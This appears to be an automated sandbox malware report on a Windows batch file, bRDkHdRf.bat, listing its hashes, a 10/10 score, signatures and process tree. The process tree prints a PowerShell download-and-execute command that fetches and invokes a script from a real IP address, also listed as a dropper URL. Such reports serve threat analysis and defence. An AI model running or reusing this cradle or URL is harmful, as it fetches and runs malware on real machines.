Overview

overview

10

Static

static

bRDkHdRf.bat

windows7_x64

10

bRDkHdRf.bat

windows10_x64

10

Analysis

  • max time kernel
    105s
  • max time network
    105s
  • platform
    windows10_x64
  • resource
    win10v200410
  • submitted
    22-04-2020 18:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bRDkHdRf.bat

  • Size

    189B

  • MD5

    b0fdd8126abe00e3607bc60b33cfd211

  • SHA1

    22fe9dfc70b79b53d6a958d30c42dd7640554e8d

  • SHA256

    8508a74435256a2c8472db03d6c09f8ac0d60ded076803d1dc9e5bec75b162ac

  • SHA512

    cc6eab2d339081bce0d73366bda16a138f53f6ee31b0d39a23ffbe4dfb68511a8d0917092296706b8d9fba32d0aa0efea2d9c89b88baaa5f2b36fe426302514d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/bRDkHdRf

Signatures

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Makes http(s) request 1 IoCs

    Contacts server via http/https, possibly for C2 communication.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bRDkHdRf.bat"
    1⤵
      PID:4016
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/bRDkHdRf');Invoke-JUCJCK;Start-Sleep -s 10000"
        2⤵
          PID:3960
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:3168

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/3168-0-0x0000000004C50000-0x0000000004C51000-memory.dmp

        Filesize

        4KB

        Download